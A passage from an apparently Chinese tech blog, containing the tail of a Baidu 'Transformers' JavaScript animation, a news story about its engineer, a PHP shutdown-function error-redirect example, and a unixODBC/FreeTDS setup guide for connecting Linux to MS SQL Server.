496, 496, 0, 240, 496, 504, 504, 1016, 1020, 252, 0, 432, 432, 480, 480, 480, 992, 896], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 504, 504, 1016, 1020, 252, 0, 432, 432, 432, 432, 432, 1008, 1008], [0, 0, 5376, 7936, 5376, 7936, 7936, 3584, 0, 57184, 57184, 57184, 57184, 57184, 57184, 57184, 0, 6912, 6912, 6912, 6912, 6912, 15232, 15232], [0, 0, 5376, 7936, 5376, 7936, 7936, 3584, 0, 57184, 57184, 57184, 57184, 106288, 106288, 106288, 0, 6912, 6912, 6912, 6912, 6912, 15232, 15232], [0, 0, 5376, 7936, 5376, 7936, 7936, 3584, 0, 57184, 57184, 106288, 204568, 466716, 270084, 7936, 0, 6912, 6912, 6912, 6912, 6912, 15232, 15232], [0, 0, 5376, 7936, 5376, 7936, 7936, 3584, 0, 57184, 57184, 237368, 991006, 794374, 7936, 7936, 0, 6912, 6912, 6912, 6912, 6912, 15232, 15232], [0, 0, 5376, 7936, 5376, 7936, 7936, 3584, 0, 2088831, 2088831, 7936, 7936, 7936, 7936, 7936, 0, 6912, 6912, 6912, 6912, 6912, 15232, 15232]];
    var g = new baidu.zhidao.Sketchpad(document.getElementById("center"));
    g.render();
    var b = [],
    c = 0;
    for (var m = 0; m < o[0].length; m++) {
        for (var p = g.pxh; p > 0; p--) {
            var f = Math.pow(2, p - 1);
            if (o[0][m] & f) {
                b.push([g.pxwidth * (g.pxh - p), g.pxheight * m])
            }
        }
    }
    function d() {
        var i = new baidu.fx.Timeline();
        i.interval = 50;
        i.duration = 160;
        i.render = function(r) {
            var q = document.body.style;
            var t = Math.ceil(r / 0.25);
            q.paddingTop = q.paddingLeft = [7, 4, 2, 1, 0][t] + "px"
        };
        i.launch()
    }
    function l(v, u) {
        baidu.browser.ie && (u -= 100);
        for (var s = 0; s < v; s++) {
            var r = true;
            while (r) {
                var q = g.pixels[Math.ceil(Math.random() * 182)];
                if (q && q.busy) {
                    r = false;
                    q.busy = false
                }
            }
            q.exploded = true;
            g.field.appendChild(q.element);
            q.element.style.top = (q.tempTop - q.rect_t) * g.scaleTo + "px";
            var t = (q.tempLeft - q.rect_l) * g.scaleTo;
            q.element.style.left = (t + g.arenaLeft) + "px";
            q.element.style.backgroundColor = "";
            q.element.bgColor = q.bgc;
            baidu.fx.moveTo(q.element, [q.left - g.position.left + h(q), q.top - g.position.top], {
                duration: u,
                interval: 30
            })
        }
    }
    function h(s) {
        var r = g.pxwidth * Math.ceil(g.ix / 2);
        var q = (s.lineno % 2);
        var t = 1 * g.pxwidth;
        q == 0 ? r -= t: r += t;
        return s.rect_l <= r ? 0 : g.dis * t
    }
    function a(v, u) {
        for (var s = 0; s < v; s++) {
            var r, q = true;
            while (q) {
                r = g.pixels[Math.ceil(Math.random() * (g.pixels.length - 1))];
                if (! (r && r.busy)) {
                    q = false;
                    r.busy = true
                }
            }
            r.element.style.backgroundColor = g.bgcolor;
            r.show();
            g.arena.appendChild(r.element);
            var t = b[c++];
            t[0] -= r.rect_l;
            t[1] -= r.rect_t;
            r.element.style.left = (r.left - g.position.left - g.arenaLeft) + "px";
            baidu.fx.moveTo(r.element, t, {
                duration: u,
                interval: 50
            })
        }
    }
    function k(i) {
        g.arenaMarginLeft = i;
        g.arena.style.marginLeft = -i + "px"
    }
    var e = [[10,
    function() {
        a(3, 200)
    }], [100,
    function() {
        a(5, 200)
    }], [200,
    function() {
        a(8, 200)
    }], [300,
    function() {
        a(16, 200)
    }], [400,
    function() {
        a(32, 200)
    }], [500,
    function() {
        for (var n = 0; n < g.otiose.length; n++) {
            g.otiose[n].style.display = "none"
        }
        for (var n = g.pixels.length - 1; n > -1; n--) { ! g.pixels[n].busy && (g.pixels[n].element.style.backgroundColor = g.bgcolor) && g.pixels[n].hide()
        }
    }], [500,
    function() {
        for (var q = 0; q < g.pixels.length; q++) {
            var n = g.pixels[q];
            if (!n.busy) {
                n.show();
                n.busy = true;
                g.arena.appendChild(n.element);
                var r = b[c++];
                n.setPosLeft(r[0]);
                n.setPosTop(r[1]);
                n.element.style.backgroundColor = g.bgcolor;
                if (c >= b.length) {
                    break
                }
            }
        }
    }], [700,
    function() {
        var i = baidu.page.getViewHeight() - g.position.top - 10;
        var r = g.scaleTo = parseFloat((i / (g.pxheight * g.pxv)).toFixed(2));
        var q = g.width - g.pxwidth * g.pxh * r;
        baidu.fx.scale(g.arena, {
            transformOrigin: "right top",
            duration: 200,
            interval: 40,
            from: 1,
            to: r,
            fade: false
        })
    }], [1600,
    function() {
        g.draw(o[1]);
        k(30)
    }], [1700,
    function() {
        g.draw(o[2]);
        k(40)
    }], [1800,
    function() {
        g.draw(o[3]);
        k(50)
    }], [1900,
    function() {
        g.draw(o[4]);
        k(60)
    }], [2000,
    function() {
        g.draw(o[5]);
        k(70)
    }], [2100,
    function() {
        g.draw(o[6]);
        k(80)
    }], [2200,
    function() {
        g.draw(o[7]);
        k(90)
    }], [2300,
    function() {
        g.draw(o[8]);
        k(100)
    }], [2400,
    function() {
        g.draw(o[9]);
        k(120);
        d()
    }], [2800,
    function() {
        g.draw(o[10]);
        k(130)
    }], [2900,
    function() {
        g.draw(o[11]);
        k(140)
    }], [3000,
    function() {
        g.draw(o[12]);
        k(150)
    }], [3100,
    function() {
        g.draw(o[13]);
        k(160)
    }], [3200,
    function() {
        g.draw(o[14]);
        k(170)
    }], [3300,
    function() {
        g.draw(o[15]);
        k(180)
    }], [3400,
    function() {
        g.draw(o[16]);
        k(190)
    }], [3500,
    function() {
        g.draw(o[17]);
        k(200);
        d()
    }], [3900,
    function() {
        g.draw(o[18]);
        k(180)
    }], [3900,
    function() {
        g.draw(o[19])
    }], [4000,
    function() {
        g.draw(o[20])
    }], [4100,
    function() {
        g.draw(o[21])
    }], [4200,
    function() {
        g.draw(o[22])
    }], [4600,
    function() {
        g.field.style.left = g.zhong + "px";
        g.arenaMarginLeft += g.zhong;
        g.arena.style.marginLeft = -g.arenaMarginLeft + "px";
        l(2, 200)
    }], [4700,
    function() {
        l(5, 200)
    }], [4800,
    function() {
        l(10, 200)
    }], [4900,
    function() {
        l(16, 200)
    }], [5000,
    function() {
        l(32, 200)
    }], [5200,
    function() {
        g.field.style.top = g.position.top + "px";
        for (var q = 0; q < g.pixels.length; q++) {
            var n = g.pixels[q];
            n.element.bgColor = n.bgc;
            if (n.busy) {
                g.field.appendChild(n.element);
                n.element.style.backgroundColor = "";
                n.element.style.top = (n.tempTop - n.rect_t) * g.scaleTo + "px";
                var r = (n.tempLeft - n.rect_l) * g.scaleTo;
                n.element.style.left = (r + g.arenaLeft) + "px";
                baidu.fx.moveTo(n.element, [n.left + h(n) - g.position.left, n.top - g.position.top], {
                    duration: 200
                })
            }
            if (!n.exploded) {
                n.show();
                n.element.style.backgroundColor = "";
                n.element.style.top = n.top - g.position.top + "px";
                n.element.style.left = n.left - g.position.left + h(n) + "px"
            }
        }
        for (var q = 0; q < g.otiose.length; q++) {
            g.otiose[q].style.display = ""
        }
    }], [5800,
    function() {
        g.arena.style.left = "0px";
        g.arena.style.marginLeft = "0px";
        baidu.dom.scale(g.arena, 1);
        for (var q = g.pixels.length - 1; q > -1; q--) {
            var n = g.pixels[q];
            if (h(n) > 0) {
                g.arena.appendChild(n.element)
            }
        }
        g.field.parentNode.insertBefore(g.arena, g.field);
        g.arena.style.left = g.zhong + "px";
        g.arena.style.top = g.position.top + "px";
        baidu.fx.moveTo(g.field, [g.pxwidth * (g.dis / 2) + g.zhong, g.position.top], {
            duration: 600,
            transition: function(i) {
                return 1 - (Math.cos(i * 4.5 * Math.PI) * Math.exp( - i * 6))
            }
        });
        baidu.fx.moveTo(g.arena, [g.pxwidth * ( - g.dis / 2) + g.zhong, g.position.top], {
            duration: 600,
            transition: function(i) {
                return 1 - (Math.cos(i * 4.5 * Math.PI) * Math.exp( - i * 6))
            }
        })
    }], [6600,
    function() {
        for (var q = 0; q < g.ts.length; q++) {
            if (g.ts[q].offsetHeight < g.pxheight * 2) {
                g.ts[q].style.visibility = ""
            }
        }
        for (var q = g.pixels.length - 1; q > -1; q--) {
            var n = g.pixels[q];
            if (h(n) > 0) {
                g.field.appendChild(n.element);
                n.element.style.left = n.left - g.position.left + "px"
            }
        }
        g.field.appendChild(g.arena)
    }], [6700,
    function() {
        baidu.fx.moveTo(g.field, [g.position.left, g.position.top], {
            duration: 600,
            onafterfinish: function() {
                g.dismiss()
            },
            transition: function(i) {
                return 1 - (Math.cos(i * 4.5 * Math.PI) * Math.exp( - i * 6))
            }
        })
    }]];
    for (var j = 0; j < e.length; j++) {
        setTimeout(e[j][1], e[j][0] + 1200)
    }
})();

变形金刚 JS代码 demo

相关新闻:
由“刚粉”百度工程师一天研发而成
“百度知道变现”由百度一位“刚粉”工程师独立完成,他利用自己的周末业余时间,用整整1天时间完成开发这个代码版“变形金刚”产品。
生于1978年、从事Web前端研发的黄方荣是典型的“变形金刚”粉丝。他说,“变形金刚”承载了他很多难忘的童年记忆。在《变形金刚3》上映之际,“做一个酷的东西,献给自己,献给儿子,也献给那些同为‘刚粉’的朋友们”成为黄方荣近期闲暇之余想得最多的问题。
做个什么样的产品才能让所有人眼前一亮?擅长JavaScript开发的黄方荣突发奇想:不如用JavaScript代码写一段代码,让搜索结果化身为“变形金刚”!他计划首先将变形金刚的动作进行分解,再将饱满的动作形象转化成可以在技术上控制的点阵,最后用JavaScript代码来实现。
想起来简单,实际却很费神。整个开发,黄方荣手绘了40多张草图,描了不计其数的点阵,这保障了最终变形金刚变身的时候,动态效果更加逼真。而在代码实现之后,更麻烦的调试过程开始了,他需要不断调整点阵和代码,让恰当的字符在恰当的时间出现在恰当的位置上。整整忙碌了一天,黄方荣终于完美实现了自己的创意。
创意获百度副总裁亲口赞赏 仅三天上线
用技术改变这个世界、改变亿万人的生活,这是每一位百度工程师的梦想。黄方荣自然个人也相信:在日常繁杂的工作中,每一个新的想法,对产品的改进,都可能产生“蝴蝶效应”,影响数亿人的体验。
7月18日,黄方荣上班就在百度hi群里把自己周末的成果分享给了技术部门的同事,负责技术的百度副总裁王梦秋立即回复了一句话:“创意很酷,上线实现吧”。
三天之后,黄方荣完成了机器人呈现效果的优化,百度知道将这一创意上线的一刻,黄方荣兴奋不已,深深体会到了百度“简单可依赖”的文化。
一些网友用“太炫”、“太意外”、“太激动”等词汇表达惊奇感受。还有“刚粉”表示:“没想到在网页上,用编程可以让搜索结果组成变形金刚,会走动、会跺脚。最神奇的是连带着屏幕都能一起震动,非常好玩。”

110718 php优化当用户访问发生错误时

时间:2011年07月18日作者:可 乐烟查看次数:212 浏览数评论次数:0

可以让我们设置一个当执行关闭时可以被调用的另一个函数.也就是说当我们的脚本执行完成或意外死掉导致PHP执行即将关闭时,我们的这个函数将会 被调用.所以,我们可以使用在脚本开始处设置一个变量为false,然后在脚本末尾将之设置为true的方法,让PHP关闭回调函数检查脚本完成与否. 如果我们的变量仍旧是false,我们就知道脚本的最后一行没有执行,因此它肯定在程序执行到某处死掉了.我准备了一个非常基本的例子,可以演示在一个致 命错误需要显示时,你应该怎么给用户一些合适的反馈.你可以通过关闭致命错误的显示

phpdemo:

<?php
error_reporting ( E_ALL );
$system_remedy = false; //系统出错补救变量初始化  可以设置为on off 等等
function system_remedy_func() {
	global $system_remedy;
	if (! $system_remedy) {
		header ( "Location: http://www.80aj.com" );
		exit ();
	}
}
register_shutdown_function ( "system_remedy_func" );
$a = new ErrorClass ();
$system_remedy = true; //复原变量 表示此次处理是正常的
?>

110712 linux上配置unixODBC和FreeTDS访问MSSQLServer

时间:2011年07月12日作者:可 乐烟查看次数:220 浏览数评论次数:0

一, 安装 unixODBC

下载安装包. 在 RedHat 安装光盘上就有
unixODBC-2.2.11-1.RHEL4.1.i386.rpm
unixODBC-devel-2.2.11-1.RHEL4.1.i386.rpm
unixODBC-kde-2.2.11-1.RHEL4.1.i386.rpm

安装
rpm -Uvh unixODBC-2.2.11-1.RHEL4.1.i386.rpm
rpm -Uvh unixODBC-devel-2.2.11-1.RHEL4.1.i386.rpm
如果安装中提示有对其它安装包的依赖,则按照提示先安装
哪些包.

或者从源码安装 unixODBC
下载源码集
unixODBC-2.2.11.tar.gz
# tar xzf unixODBC-2.2.11.tar.gz
# cd unixODBC-2.2.11
# ./configure
# make
# make install

./configure 的时候也有可能提示找不到某些依赖库.
下载这些依赖库的源码,编译,安装.

rpm 安装和源码编译安装的差别在于配置文件 odbc.ini, odbcinst.ini
的位置不同. 前者为 /etc , 后者为 /usr/local/etc

二, 安装 FreeTDS

unixODBC 提供了Linux 对ODBC 的支持,但它只是一个 ODBC的管理器, 要连接
实际的数据库还得提供这种数据库的 ODBC 驱动.

FreeTDS就是Linux 下 用于连接MS SQL Server 和 Sybase 的免费ODBC 驱动
注意, 必须先装 unixODBC, 再装 freetds

freetds-0.64 是目前的最新稳定版.
下载源码包 freetds-stable.tgz
# tar xzf freetds-stable.tgz
# ./configure –with-unixodbc=/usr/local –with-tdsver=8.0
# make
# su
# make install
将安装到 /usr/local 下

如果 unixODBC是源码安装, 则
–with-unixodbc=/usr/local
如果 unixODBC是rpm安装, 则
不需要该选项

三, 配置 unixODBC 和 FreeTDS

3.1 向unixODBC 登记 FreeTDS 驱动
修改 /etc/odbcinst.ini (或者/usr/local/etc/odbcinst.ini)
在文件中添加
=========================== /etc/odbcinst.ini  ======================
# Driver from FreeTDS package
# setup from FreeTDS package
[FREETDS]
Description     = ODBC of FreeTDS for MS SQL 2000
Driver          = /usr/local/lib/libtdsodbc.so
Setup           = /usr/local/lib/libtds.so
FileUsage       = 1

===================================================================

3.2  在 FreeTDS 的配置文件中添加指向具体数据库的访问信息
修改 /usr/local/etc/freetds.conf
在末尾添加如下内容. 该配置文件中原有的内容请仔细阅读, 是不错的教材
===================================================================
[MYSQLSERVER]
host = 192.168.0.5    ; MS SQL Server 的 IP 或者域名
port = 1433
tds version = 8.0
client charset = UTF-8  ; 客户端软件可识别的字符集.
===================================================================
注意, client charset 必需大于或等于服务端数据库使用的字符集.
例如,服务端数据库是 MS SQL Server 2000, 字符集是 GB2312.
那么 client charset 可以设置为 GB2312(等于), GB18030(大于),UTF-8(大于)
但不能设为ISO-8859-1(小于), Shift_JIS(不等于).
由于 UTF-8 是所由字符集的超集,因此设置为 UTF-8 总是可行的.
此外, FreeTDS的client charset不能设置为 UTF16. 这时目前该软件设计的局限,
其官方网站称,在未来版本中可能会增加对client charset UTF16的支持.

3.3  修改 /etc/odbc.ini (如果odbc是从源码安装,则 /usr/local/etc/odbc.ini)
添加DSN.
=========================== /etc/odbc.ini  ======================
[ODBC Data Sources]
TEST1dsn= My first Test DSN
TEST2dsn= My second Test DSN

[TEST1dsn]        ; DSN 名
Driver          = /usr/local/lib/libtdsodbc.so
Description     = My First Test DSN
Trace           = No
Servername      = MYSQLSERVER     ;在 freetds.conf中定义
Database        = MYTESTDB              ;库名

[TEST2dsn]
Driver          = /usr/local/lib/libtdsodbc.so
Description     = My Second Test DSN
Trace           = No
Server          = 192.168.0.5     ; 可以直接写数据库服务器的访问信息
Database        = MyTESTDB
Port            = 1433
TDS_Version     = 8.0

[Default]
Driver          = /usr/local/freetds/lib/libtdsodbc.so
===================================================================

注意:
用 unixODBC 通过 freeTDS 访问 MS SQL Server 有两种配置方式.

(1)一种是将服务器信息写在 freeTDS 的配置文件 $PREFIX/etc/freetds.conf 中,
而 /etc/odbc.ini 中使用 Servername 来指向 freetds.conf 中设定的 DSN.
如上例中的 [TEST1dsn]
(2).另一种方式是将服务器信息也一并写在 /etc/odbc.ini 中. 如上例中的 [TEST2dsn].
注意,关键字有所不同.  例如, freetds.conf 中的 tds version 在
/etc/odbc.ini 中为 TDS_Version.

方式(2)相对简单,但只有少数几个关键字可以控制freetds,至于freetds的
其它特征则使用freetds的缺省配置.

方式(1)虽然复杂一些,但对freetds可进行更细致的控制,例如可指定客户端
的字符集.

推荐使用方式(1)进行配置.

四, 访问数据库:

无论是用客户端软件,还是编程访问数据库,通常要提供三个参数.
DSN, UserName, Password.
以本文示例来说,
DSN =  TEST1dsn 或 TEST2dsn
UserName = somename,
Password = somepasswd,

就意味着访问位于 192.168.0.5 的 MS SQL Server 库 MYTESTDB. 查询结果
的字符集为 UTF-8.

unixODBC 提供的一个通用的 GUI 数据库连接客户端为 DataManager.

五, 关于字符集:

FreeTDS能够自动识别服务器端的charset. 因此 FreeTDS 需要用户设定客户端的
charset. 这也就是客户端应用程序期待从FreeTDS获得的数据所应该使用的charset.
一旦client charset设定, FreeTDS将实现从 server charset <–> client charset
的转换.

如果有两个客户应用程序都要访问同一个 MS SQLServer, 但很不幸,这两个客户程序所
接受的字符集分别是 UTF-8 和 GB2312. 那么解决的办法是在FreeTDS.conf中设置
两组DataSource,它们的服务器设置相同,但client charset分别设为 UTF-8和GB2312. 在
odbc.ini中也设置两组不同的DSN 分别指向这两组DataSource. 而最终两个客户程序
各自使用与之相应的DSN即可.

六, freetds 链接 sqlserver 测试

/usr/local/freetds/bin/tsql -S Server2005 -U game -P test.Com -H 192.168.1.1 -p 1433

如果遇到乱码 请尝试

freetds etc 下 执行

export LANG=zh_CN.GB18030

 

七, odbc使用freetds dsn 链接sqlserver

odbc.ini

[game]

Servername      = Server2005   [此为freetds配置的dsn]
Driver          = /usr/local/lib/libtdsodbc.so
Description     = SQLSERVER
Database        = testgame
#UserName        =
#Password        =
#Port            = 1433
Fileusage = 1

/usr/local/unixODBC/bin/isql -v game game 123123